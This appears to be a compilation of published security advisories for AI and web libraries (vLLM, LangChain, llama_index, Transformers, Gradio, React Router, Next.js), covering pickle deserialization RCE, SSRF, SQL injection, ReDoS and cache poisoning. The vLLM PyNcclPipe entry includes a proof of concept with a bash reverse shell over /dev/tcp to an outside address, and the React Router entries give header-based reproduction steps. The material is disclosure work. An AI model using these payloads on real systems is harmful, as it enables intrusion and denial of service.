Next.JS vulnerability can lead to DoS via cache poisoning
Summary
A vulnerability affecting Next.js has been addressed. It impacted versions 15.0.4 through 15.1.8 and involved a cache poisoning bug leading to a Denial of Service (DoS) condition.
Under certain conditions, this issue may allow a HTTP 204 response to be cached for static pages, leading to the 204 response being served to all users attempting to access the page
More details: CVE-2025-49826
Credits
Allam Rachid zhero;
Allam Yasser (inzo)
LangChain Community SSRF vulnerability exists in RequestsToolkit component
A Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.
llama_index vulnerable to SQL Injection
Multiple vector store integrations in run-llama/llama_index version v0.12.21 have SQL injection vulnerabilities. These vulnerabilities allow an attacker to read and write data using SQL, potentially leading to unauthorized access to data of other users depending on the usage of the llama-index library in a web application.
vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary
vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details
The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:
``python
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
config=KVTransferConfig(
kv_ip="0.0.0.0",
kv_port=18888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
`
2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
`python
from vllm.distributed.utils import StatelessProcessGroup
class Evil:
def __reduce__(self):
import os
cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
return (os.system,(cmd,))
client = StatelessProcessGroup.create(
host='172.17.0.1',
port=18888,
rank=1,
world_size=2,
)
client.send_obj(obj=Evil(),dst=0)
`
The call stack triggering RCE is as follows:
`
vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
-> pickle.loads
`
Getshell as follows:
!image
Reporters
This issue was reported independently by three different parties:
@kikayli (Zhuque Lab, Tencent)
@omjeki
Russell Bryant (@russellb)
Fix
https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore` socket to the private interface as configured.
Hugging Face Transformers Regular Expression Denial of Service
A Regular Expression Denial of Service (ReDoS) exists in the preprocess_string() function of the transformers.testing_utils module. In versions before 4.50.0, the regex used to process code blocks in docstrings contains nested quantifiers that can trigger catastrophic backtracking when given inputs with many newline characters. An attacker who can supply such input to preprocess_string() (or code paths that call it) can force excessive CPU usage and degrade availability.
Fix: released in 4.50.0, which rewrites the regex to avoid the inefficient pattern. ([GitHub][1])
Affected: < 4.50.0
Patched: 4.50.0
LlamaIndex Vulnerable to Denial of Service (DoS)
A Denial of Service (DoS) vulnerability has been identified in the KnowledgeBaseWebReader class of the run-llama/llama_index project, affecting version ~ latest(v0.12.15). The vulnerability arises due to inappropriate secure coding measures, specifically the lack of proper implementation of the max_depth parameter in the get_article_urls function. This allows an attacker to exhaust Python's recursion limit through repeated function calls, leading to resource consumption and ultimately crashing the Python process.
Remote Code Execution Vulnerability in vLLM Multi-Node Cluster Configuration
Affected Environments
Note that this issue only affects the V0 engine, which has been off by default since v0.8.0. Further, the issue only applies to a deployment using tensor parallelism across multiple hosts, which we do not expect to be a common deployment pattern.
Since V0 is has been off by default since v0.8.0 and the fix is fairly invasive, we have decided not to fix this issue. Instead we recommend that users ensure their environment is on a secure network in case this pattern is in use.
The V1 engine is not affected by this issue.
Impact
In a multi-node vLLM deployment using the V0 engine, vLLM uses ZeroMQ for some multi-node communication purposes. The secondary vLLM hosts open a SUB ZeroMQ socket and connect to an XPUB socket on the primary vLLM host.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L295-L301
When data is received on this SUB socket, it is deserialized with pickle. This is unsafe, as it can be abused to execute code on a remote machine.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L468-L470
Since the vulnerability exists in a client that connects to the primary vLLM host, this vulnerability serves as an escalation point. If the primary vLLM host is compromised, this vulnerability could be used to compromise the rest of the hosts in the vLLM deployment.
Attackers could also use other means to exploit the vulnerability without requiring access to the primary vLLM host. One example would be the use of ARP cache poisoning to redirect traffic to a malicious endpoint used to deliver a payload with arbitrary code to execute on the target machine.
vLLM Vulnerable to Remote Code Execution via Mooncake Integration
Impacted Deployments
Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.
Description
vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.
This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179
Here recv_pyobj() Contains implicit pickle.loads(), which leads to potential RCE.
Data exposure via ZeroMQ on multi-node vLLM deployment
Impact
In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.
Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.
By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.
Detailed Analysis
The XPUB socket in question is created here:
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L236-L237
Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcast_object():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L452-L453
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L475-L478
The MessageQueue.broadcast_object() method is called by the GroupCoordinator.broadcast_object() method in parallel_state.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L364-L366
The broadcast over ZeroMQ is only done if the GroupCoordinator was created with use_message_queue_broadcaster set to True:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L216-L219
The only case where GroupCoordinator is created with use_message_queue_broadcaster is the coordinator for the tensor parallelism group:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L931-L936
To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcast_object() is called by GroupCoordinator.broadcoast_tensor_dict():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L489
which is called by broadcast_tensor_dict() in communication_op.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communication_op.py#L29-L34
If we look at _get_driver_input_and_broadcast() in the V0 worker_base.py, we'll see how this tensor dict is formed:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/worker_base.py#L332-L352
but the data actually sent over ZeroMQ is the metadata_list portion that is split from this tensor_dict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.
https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallel_state.py#L61-L83
Patches
https://github.com/vllm-project/vllm/pull/17197
Workarounds
Prior to the fix, your options include:
1. Do not expose the vLLM host to a network where any untrusted connections may reach the host.
2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.
References
Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183
React Router allows pre-render data spoofing on React-Router framework mode
Summary
After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values of the data object passed to the HTML. Latest versions are impacted.
Details
The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :
<img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr:
!image
We access it by adding the suffix .data and retrieve the data object, needed for the header:
!image
4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):
!Capture d’écran 2025-04-07 à 05 56 10
As you can see, all values have been changed/overwritten by the values provided via the header.
Impact
The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
React Router allows a DoS via cache poisoning by forcing SPA mode
Summary
After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application.
Details
The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code :
<img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
!image
3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header:
``
X-React-Router-SPA-Mode: yes
``
Notice the difference between a request with and without the header;
Normal request
!Capture d’écran 2025-04-07 à 08 36 27
With the header
!Capture d’écran 2025-04-07 à 08 37 01
!image
Impact
If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints
vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality run_server_loop() calls the function _make_handler_coro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →vLLM deserialization vulnerability in vllm.distributed.GroupCoordinator.recv_object
vllm-project vllm version 0.6.0 contains a vulnerability in the distributed training API. The function vllm.distributed.GroupCoordinator.recv_object() deserializes received object bytes using pickle.loads() without sanitization, leading to a remote code execution vulnerability.
Maintainer perspective
Note that vLLM does NOT use the code as described in the report on huntr. The problem only exists if you use these internal APIs in a way that exposes them to a network as described. The vllm team was not involved in the analysis of this report and the decision to assign it a CVE.
Gradio DOS in multipart boundry while uploading the file
A vulnerability in the file upload process of gradio-app/gradio version @gradio/video@0.10.2 allows for a Denial of Service (DoS) attack. An attacker can append a large number of characters to the end of a multipart boundary, causing the system to continuously process each character and issue warnings. This can render Gradio inaccessible for extended periods, disrupting services and causing significant downtime.
LlamaIndex vulnerable to Creation of Temporary File in Directory with Insecure Permissions
A vulnerability in the default_jsonalyzer function of the JSONalyzeQueryEngine in the run-llama/llama_index repository allows for SQL injection via prompt injection. This can lead to arbitrary file creation and Denial-of-Service (DoS) attacks. The vulnerability affects the latest version and is fixed in version 0.12.3.
Transformers Regular Expression Denial of Service (ReDoS) vulnerability
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the huggingface/transformers library, specifically in the file tokenization_nougat_fast.py. The vulnerability occurs in the post_process_single() function, where a regular expression processes specially crafted input. The issue stems from the regex exhibiting exponential time complexity under certain conditions, leading to excessive backtracking. This can result in significantly high CPU usage and potential application downtime, effectively creating a Denial of Service (DoS) scenario. The affected version is v4.46.3.
LlamaIndex Improper Handling of Exceptional Conditions vulnerability
A vulnerability in the LangChainLLM class of the run-llama/llama_index repository, version v0.12.5, allows for a Denial of Service (DoS) attack. The stream_complete method executes the llm using a thread and retrieves the result via the get_response_gen method of the StreamingGeneratorCallbackHandler class. If the thread terminates abnormally before the _llm.predict is executed, there is no exception handling for this case, leading to an infinite loop in the get_response_gen function. This can be triggered by providing an input of an incorrect type, causing the thread to terminate and the process to continue running indefinitely.
vLLM Deserialization of Untrusted Data vulnerability
vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.
Gradio Vulnerable to Arbitrary File Deletion
A path traversal vulnerability exists in the Gradio Audio component of gradio-app/gradio, as of version git 98cbcae. This vulnerability allows an attacker to control the format of the audio file, leading to arbitrary file content deletion. By manipulating the output format, an attacker can reset any file to an empty file, causing a denial of service (DOS) on the server.
Gradio Vulnerable to Denial of Service (DoS) via Crafted HTTP Request
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the gradio-app/gradio repository, affecting the gr.Datetime component. The affected version is git commit 98cbcae. The vulnerability arises from the use of a regular expression ^(?:\snow\s(?:-\s(\d+)\s([dmhs]))?)?\s*$ to process user input. In Python's default regex engine, this regular expression can take polynomial time to match certain crafted inputs. An attacker can exploit this by sending a crafted HTTP request, causing the gradio process to consume 100% CPU and potentially leading to a Denial of Service (DoS) condition on the server.
